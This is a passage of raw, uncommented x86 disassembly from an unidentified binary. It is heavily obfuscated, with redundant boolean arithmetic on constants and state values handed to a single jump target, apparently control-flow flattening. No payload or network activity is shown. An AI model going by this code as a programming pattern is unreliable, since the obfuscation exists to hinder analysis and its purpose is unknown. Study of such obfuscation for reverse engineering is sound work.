mov bh, byte [ebp - 0x83309]
or ch, dh
xor al, ch
mov byte [ebp - 0x83304], al
mov ch, cl
xor ch, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 0
mov al, ch
and al, 0
mov byte [ebp - 0x83308], al
and cl, dh
mov al, bh
and al, 0
mov byte [ebp - 0x83307], al
mov al, byte [ebp - 0x83309]
and al, dh
mov byte [ebp - 0x83306], al
mov al, byte [ebp - 0x83308]
or al, cl
mov cl, byte [ebp - 0x83307]
mov byte [ebp - 0x83305], al
mov al, byte [ebp - 0x83306]
or cl, al
mov al, byte [ebp - 0x83305]
xor al, cl
mov cl, byte [ebp - 0x83304]
or ch, bh
xor ch, 0xff
or dh, 0
and ch, dh
or al, ch
mov byte [ebp - 0x83301], al
mov ch, 1
xor ch, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83300], al
mov bh, 1
xor bh, 1
mov dh, ch
and dh, 0xff
mov al, bh
and al, 1
mov byte [ebp - 0x83303], al
mov al, byte [ebp - 0x83300]
and al, 0xff
mov byte [ebp - 0x83302], al
mov al, byte [ebp - 0x83303]
and cl, bh
or dh, al
mov al, byte [ebp - 0x83302]
or al, cl
mov cl, byte [ebp - 0x83301]
xor dh, al
mov al, byte [ebp - 0x83300]
or ch, al
mov al, byte [ebp - 0x832ef]
xor ch, 0xff
or bh, 1
and ch, bh
or dh, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and cl, bh
or ch, cl
xor ch, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or ch, dh
or cl, 1
xor ch, 0xff
and ch, cl
mov bh, al
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and al, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or bh, al
mov al, byte [ebp - 0x832ff]
or cl, dh
xor bh, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x832fe], cl
and al, cl
mov cl, byte [ebp - 0x832ff]
mov byte [ebp - 0x832fd], al
mov al, bh
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x832fc], al
mov al, byte [ebp - 0x832fe]
and bh, al
mov al, byte [ebp - 0x832fd]
or dh, al
mov al, byte [ebp - 0x832fc]
or al, bh
xor dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, dl
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov bh, dl
xor bh, 0xff
mov cl, bl
and cl, bh
xor bl, 0xff
and dl, bl
or cl, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x832f8], dl
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dl, 0
and al, bl
mov byte [ebp - 0x832fb], al
mov al, bh
and al, 0
mov byte [ebp - 0x832fa], al
mov al, byte [ebp - 0x832fb]
and cl, bl
or dl, al
mov al, byte [ebp - 0x832fa]
or al, cl
mov cl, byte [ebp - 0x832f9]
xor dl, al
mov al, byte [ebp - 0x832f8]
or al, bh
xor al, 0xff
or bl, 0
and al, bl
or dl, al
mov bl, ch
xor bl, 0xff
mov bh, dh
xor bh, 0xff
mov al, 1
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov bh, ch
xor bh, 0xff
mov al, dh
and al, bh
xor dh, 0xff
and ch, dh
or al, ch
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x832f5], bh
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
and bh, 0
and bl, ch
mov byte [ebp - 0x832f7], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x832f6], al
mov al, byte [ebp - 0x832f7]
or bh, al
mov al, byte [ebp - 0x832f6]
or bl, al
mov al, byte [ebp - 0x832f5]
xor bh, bl
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or bh, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dl
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ch, bl
or al, dh
xor ch, al
xor ch, 0xff
mov al, bh
xor al, ch
and al, bh
mov dh, bh
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dh, bh
or ch, bl
xor dh, ch
xor dh, 0xff
mov ch, dl
xor ch, dh
and ch, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov al, cl
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
or bl, ah
or al, cl
xor bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, al
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bl, ch
or al, ah
xor bl, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov ah, ch
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
xor bh, 0xff
mov ah, 1
xor ah, 1
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x832f2], cl
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and bl, ch
mov byte [ebp - 0x832f4], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x832f3], al
mov al, byte [ebp - 0x832f4]
or cl, al
mov al, byte [ebp - 0x832f3]
or bl, al
mov al, byte [ebp - 0x832f2]
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and bh, dh
mov byte [ebp - 0x832f1], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x832f0], al
mov al, byte [ebp - 0x832f1]
or ah, al
mov al, byte [ebp - 0x832f0]
or bh, al
mov al, byte [ebp - 0x832ef]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov dh, ah
and dh, ch
xor ah, 0xff
and cl, ah
or dh, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov byte [ebp - 0x832e7], ch
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov byte [ebp - 0x832e9], bl
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
or ah, cl
mov cl, byte [ebp - 0x832ef]
or al, 1
xor ah, 0xff
and ah, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov al, 1
xor al, 1
xor ch, al
mov al, byte [ebp - 0x832e7]
and ch, al
mov al, byte [ebp - 0x832e9]
mov byte [ebp - 0x832ee], ch
xor cl, 0xff
xor al, 0xff
mov ch, 1
xor ch, 1
or cl, al
mov al, byte [ebp - 0x832ee]
or ch, 1
xor cl, 0xff
and cl, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x832ea], bl
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x832eb], ah
mov ah, 1
xor ah, 1
and bl, 0xff
and al, ah
mov byte [ebp - 0x832ed], al
mov al, byte [ebp - 0x832eb]
and al, 0xff
mov byte [ebp - 0x832ec], al
mov al, byte [ebp - 0x832ed]
and cl, ah
or bl, al
mov al, byte [ebp - 0x832ec]
or al, cl
mov cl, byte [ebp - 0x832eb]
xor bl, al
mov al, byte [ebp - 0x832ea]
or al, cl
mov cl, byte [ebp - 0x832e9]
xor al, 0xff
or ah, 1
and al, ah
or bl, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and ch, al
mov byte [ebp - 0x832e8], ch
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0x832e8]
or ah, al
mov al, byte [ebp - 0x832e7]
or ch, bl
xor ah, ch
mov byte [ebp - 0x832e0], ah
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x832e4], bl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
and bl, 0xff
and bh, ah
mov byte [ebp - 0x832e6], bh
mov bh, ch
and bh, 0xff
and al, ah
mov byte [ebp - 0x832e5], al
mov al, byte [ebp - 0x832e6]
or bl, al
mov al, byte [ebp - 0x832e5]
or bh, al
mov al, byte [ebp - 0x832e4]
xor bl, bh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or bl, al
mov al, bl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, bl
or ah, ch
xor al, ah
mov byte [ebp - 0x832e1], al
mov ch, 1
xor ch, 1
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, ch
and ah, 0
mov al, bl
and al, 1
mov byte [ebp - 0x832e3], al
mov al, bh
and al, 0
mov byte [ebp - 0x832e2], al
mov al, byte [ebp - 0x832e3]
and cl, bl
or ah, al
mov al, byte [ebp - 0x832e2]
or al, cl
mov cl, byte [ebp - 0x832e1]
xor ah, al
mov al, byte [ebp - 0x832e0]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or ah, ch
xor ah, 0xff
mov bh, cl
xor bh, ah
and bh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x832df], ah
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov bl, ch
and bl, 0xff
and bh, cl
or ah, al
mov al, byte [ebp - 0x832df]
or bl, bh
xor ah, bl
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov bh, 1
xor bh, 1
and bh, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov ah, 1
xor ah, 1
mov byte [ebp - 0x832de], ah
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 0
and ah, 0
mov al, cl
and al, 1
mov bl, ch
and bl, 0
and bh, cl
or ah, al
mov al, byte [ebp - 0x832de]
or bl, bh
xor ah, bl
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, dh
or cl, ch
xor al, cl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc96fa581
mov ecx, 0x2851e918
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [ebp - 0x831a0]
cmp eax, dword [ebp - 0x83068]
setb al
and al, 1
mov byte [ebp - 0x83115], al
mov dword [ebp - 0x831e0], 0x9e4eaca9
jmp 0x42c10b
mov dl, byte [ebp - 0x83115]
mov eax, 0x318bb86a
mov ecx, 0xce61b0fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [0x530348]
mov ecx, dword [0x530344]
mov edx, eax
add edx, 0x9aa550dd
add edx, 0xa70ed4a1
sub edx, 0x9aa550dd
xor esi, esi
sub esi, 0x3cc5baa7
add edx, esi
xor esi, esi
sub esi, 0xa70ed4a1
add edx, esi
xor edi, edi
sub edi, 0x7106fa7
sub edi, 1
add edi, 0x7106fa7
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x646be561
sub edx, esi
xor esi, esi
sub esi, 0x3cc5baa7
sub edx, esi
sub edx, 0xafcc105b
sub edx, 0x646be561
add edx, 0xafcc105b
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl ch
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, dh
or al, cl
xor dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
and dh, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov bl, ah
xor bl, 0xff
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, al
and dl, dh
xor al, dh
or dl, al
mov dh, cl
xor dh, 0xff
mov al, dl
and al, dh
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x8331c], al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov dh, ch
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, dh
or cl, dl
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
xor cl, 0xff
mov bh, ch
xor bh, cl
and bh, ch
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x8333d], dl
mov dh, bh
xor dh, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov bl, dh
and bl, 0
and bh, cl
or dl, al
mov al, byte [ebp - 0x8333d]
or bl, bh
xor dl, bl
or al, dh
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, bl
or al, cl
xor dh, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and bh, 1
or bl, al
mov al, byte [ebp - 0x8331c]
or cl, bh
xor bl, cl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov cl, dh
and cl, bl
xor dh, bl
or cl, dh
mov byte [ebp - 0x83318], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and al, dh
or cl, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov byte [ebp - 0x8333c], bh
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov byte [ebp - 0x83337], al
mov dh, cl
xor dh, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, dh
and al, 0xff
mov byte [ebp - 0x8333b], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0x8333a], al
mov al, byte [ebp - 0x8333c]
and al, bl
mov byte [ebp - 0x83339], al
mov al, byte [ebp - 0x8333b]
or al, cl
mov cl, byte [ebp - 0x8333a]
mov byte [ebp - 0x83338], al
mov al, byte [ebp - 0x83339]
or cl, al
mov al, byte [ebp - 0x83338]
xor al, cl
mov cl, byte [ebp - 0x83337]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or al, dh
mov byte [ebp - 0x83333], al
mov bl, 1
xor bl, 1
mov byte [ebp - 0x83334], bl
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
and bl, 0xff
mov al, dh
and al, 1
mov byte [ebp - 0x83336], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x83335], al
mov al, byte [ebp - 0x83336]
and cl, dh
or bl, al
mov al, byte [ebp - 0x83335]
or al, cl
mov cl, byte [ebp - 0x83334]
xor bl, al
mov al, byte [ebp - 0x83333]
or cl, bh
xor cl, 0xff
or dh, 1
and cl, dh
or bl, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and al, bh
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0x83318]
or dh, bh
xor cl, dh
xor cl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or cl, bl
or dh, 0
xor cl, 0xff
and cl, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and al, bl
or dh, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x83332], al
mov bh, ah
and bh, al
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0x83331], al
mov al, byte [ebp - 0x83332]
and dh, al
mov al, byte [ebp - 0x83331]
or bl, bh
or al, dh
xor bl, al
xor bl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov bh, dl
and bh, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ah, bh
or al, dh
xor ah, al
mov bh, 1
xor bh, 1
and bh, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 1
mov byte [ebp - 0x83330], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x8332f], al
mov al, byte [ebp - 0x83330]
and dh, 1
or bh, al
mov al, byte [ebp - 0x8332f]
or al, dh
xor bh, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov dh, ah
and dh, bh
xor ah, bh
or dh, ah
mov bh, al
and bh, 1
xor al, 1
or bh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and dh, al
mov byte [ebp - 0x8332e], dh
mov dh, 1
xor dh, 1
and dh, 0
and al, 1
mov byte [ebp - 0x8332d], al
mov al, byte [ebp - 0x8332e]
or ah, al
mov al, byte [ebp - 0x8332d]
or dh, al
mov al, byte [ebp - 0x83318]
xor ah, dh
xor ah, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 1
or ah, bh
or dh, 1
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x83320], ah
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and al, ah
or dh, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x8332c], al
mov bh, ch
and bh, al
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0x8332b], al
mov al, byte [ebp - 0x8332c]
and dh, al
mov al, byte [ebp - 0x8332b]
or ah, bh
or al, dh
xor ah, al
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0x8331f], al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov al, bl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov ah, bl
and ah, ch
or al, ah
mov byte [ebp - 0x83324], al
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov al, bh
xor al, 0xff
mov dh, 1
xor dh, 1
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
xor cl, 0xff
mov dh, ah
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
mov dh, byte [ebp - 0x83324]
or ch, 1
xor cl, 0xff
and cl, ch
mov byte [ebp - 0x8332a], cl
mov cl, 1
xor cl, 1
mov ch, dh
xor ch, cl
mov cl, byte [ebp - 0x8332a]
and ch, dh
mov byte [ebp - 0x83327], ch
xor bl, 0xff
mov dh, ah
xor dh, 0xff
mov ch, 1
xor ch, 1
or bl, dh
or ch, 1
xor bl, 0xff
and bl, ch
mov dh, al
xor dh, 0xff
xor cl, 0xff
mov byte [ebp - 0x83326], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x83325], cl
mov ch, dh
and ch, 0
and al, cl
mov cl, byte [ebp - 0x8332a]
mov byte [ebp - 0x83329], al
mov al, byte [ebp - 0x83326]
and al, 0
mov byte [ebp - 0x83328], al
mov al, byte [ebp - 0x83325]
and cl, al
mov al, byte [ebp - 0x83329]
or ch, al
mov al, byte [ebp - 0x83328]
or al, cl
mov cl, byte [ebp - 0x83327]
xor ch, al
mov al, byte [ebp - 0x83326]
or dh, al
mov al, byte [ebp - 0x83325]
xor dh, 0xff
or al, 0
and dh, al
mov al, byte [ebp - 0x83324]
or ch, dh
mov dh, cl
and dh, bl
xor cl, bl
or dh, cl
mov bl, ch
xor bl, 0xff
mov cl, dh
and cl, bl
xor dh, 0xff
and ch, dh
or cl, ch
mov byte [ebp - 0x83321], cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bl, cl
and bl, 0xff
and bh, ch
mov byte [ebp - 0x83323], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x83322], al
mov al, byte [ebp - 0x83323]
or bl, al
mov al, byte [ebp - 0x83322]
or bh, al
mov al, byte [ebp - 0x83321]
xor bl, bh
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or bl, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov ch, ah
and ch, 1
xor ah, 1
or ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov bh, bl
and bh, 0
and cl, dh
or ah, al
mov al, byte [ebp - 0x83320]
or bh, cl
mov cl, byte [ebp - 0x8331f]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov byte [ebp - 0x8331a], ah
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or dh, ah
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and cl, ah
or bh, cl
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
mov cl, 1
xor cl, 1
mov ah, dh
xor ah, cl
and ah, dh
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov bl, 1
xor bl, 1
or al, cl
mov cl, byte [ebp - 0x8331f]
or bl, 1
xor al, 0xff
and al, bl
mov byte [ebp - 0x8331e], al
mov bl, 1
xor bl, 1
mov al, bh
xor al, bl
and al, bh
mov byte [ebp - 0x8331d], al
xor cl, 0xff
mov al, ch
xor al, 0xff
mov bl, 1
xor bl, 1
or cl, al
mov al, byte [ebp - 0x8331e]
or bl, 1
xor cl, 0xff
and cl, bl
mov bl, ah
and bl, al
xor ah, al
mov al, byte [ebp - 0x8331d]
or bl, ah
mov ah, al
and ah, cl
xor al, cl
mov cl, byte [ebp - 0x8331c]
or ah, al
mov byte [ebp - 0x8331b], ah
mov al, bl
xor al, 0xff
and ah, al
mov al, byte [ebp - 0x8331b]
xor al, 0xff
and bl, al
mov al, byte [ebp - 0x8331a]
or ah, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, bl
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
and bl, bh
or dh, bl
mov bl, ch
and bl, 1
xor ch, 1
or bl, ch
xor dh, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 1
or dh, bl
or ch, 1
xor dh, 0xff
and dh, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and al, ah
or dh, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or ah, al
mov al, byte [ebp - 0x8331a]
or bl, bh
xor ah, bl
mov byte [ebp - 0x83319], ah
xor ah, 0xff
mov bh, al
xor bh, ah
and bh, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
mov al, ch
and al, bl
or ah, al
xor ah, 0xff
mov al, 1
xor al, 1
mov bl, 1
xor bl, 1
or ah, al
mov al, byte [ebp - 0x83319]
or bl, 1
xor ah, 0xff
and ah, bl
xor ch, 0xff
xor al, 0xff
mov bl, 1
xor bl, 0
or ch, al
mov al, byte [ebp - 0x83318]
or bl, 0
xor ch, 0xff
and ch, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, ah
and dh, ch
xor ah, ch
or dh, ah
mov ah, bl
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0x83317], ah
mov bh, cl
xor bh, 0xff
mov ch, dl
xor ch, 0xff
mov ah, 1
xor ah, 1
or bh, ch
or ah, 1
xor bh, 0xff
and bh, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or dl, bh
or dh, bl
xor dl, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or ch, cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
and ah, 1
or ch, ah
xor ch, 0xff
mov ah, dl
xor ah, ch
and ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
mov bh, al
and bh, ah
xor al, 0xff
and al, 1
or bh, al
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov al, ah
and al, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or al, cl
mov cl, byte [ebp - 0x83317]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, dl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, dl
and ah, ch
or al, ah
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov dh, cl
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov byte [ebp - 0x83313], ah
mov al, ch
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov bl, ch
